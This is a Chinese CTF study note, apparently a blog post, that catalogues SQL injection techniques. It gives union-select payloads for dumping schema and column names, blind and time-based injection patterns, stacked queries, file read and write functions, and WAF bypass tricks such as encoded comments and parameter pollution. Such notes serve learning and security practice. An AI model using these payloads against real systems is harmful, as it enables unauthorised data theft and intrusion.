477 字
2 分钟
【CTF笔记】SQL漏洞

闭合类型#

数字型、字符型(包含单引号、双引号、括号和其复合型)

常用函数#

user():当前数据库用户
database():当前数据库名
version():当前使用的数据库版本
@@datadir:数据库存储数据路径
concat():联合数据,用于联合两条数据结果。如 concat(username,0x3a,password)
group_concat():和 concat() 类似,如 group_concat(distinct+user,0x3a,password),用于把多条数据一次注入出来
concat_ws():用法类似
hex() 和 unhex():用于 hex 编码解码
ascii():返回字符的 ascii 码值
char():把整数转换为对应的字符
load_file():以文本方式读取文件,在 windows 中,路径设置为 \\
select xxoo into outfile '路径':权限较高时可直接写文件

注入类型#

数字型#

union select 1,group_concat(column_name) from information_schema.columns where table_schema=database()
union select group_concat(column_name),2 from information_schema.columns where table_schema=database()

字符型#

union select 1,schema_name,2 from information_schema.schemata
union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database()
union select 1,group_concat(column_name),2 from information_schema.columns where table_schema=database()

布尔盲注型#

用于回显没有确切值的时候,先判断长度(用二分)

and length(var) > num
and length(var) < num
and length(var) = num

再判断对应值

and substr(var,1,1) > 'char'
and substr(var,1,1) < 'char'
and substr(var,1,1) = 'char'

时间盲注型#

用时间来判断值的情况

//当满足条件时,执行value_if_true,否则执行value_if_false
if(condition, value_if_true, value_if_false)

堆叠注入#

用 ; 结束之前的sql语句,在后面再插入其他语句(如insert、update等)

waf绕过#

通过增加特殊字符绕过#

符号对应作用
%23url编码#注释
%0aurl编码换行换行
%20url编码空格空格
/**/mysql注释分割语句或空格

http参数污染#

web服务器参数获取函数获取到的参数
php/apache$_get(“par”)last
jsp/tomcatrequest.getparameter(“par”)first
perl(cgi)/apacheparam(“par”)first
python/apachegetvalue(“par”)all(list)
asp/iisrequest.querystring(“par”)all(comma-delimited string)

数据库特性#

mysql中,使用 /!select 1,2,3/; 可以执行语句 select 1,2,3; 和其他一些可以绕过的 union select 语句

接受参数#

形如:index.php/1.txt?id=1其接受参数还是id=1

更改user-agent头#

sqlmap的随机ua头、百度等搜索引擎的ua头

其他#

代理池、延时等

【CTF笔记】SQL漏洞
https://fuwari.vercel.app/posts/2025-02-08/
作者
Hel1um17
发布于
2025-02-08
许可协议
CC BY-NC-SA 4.0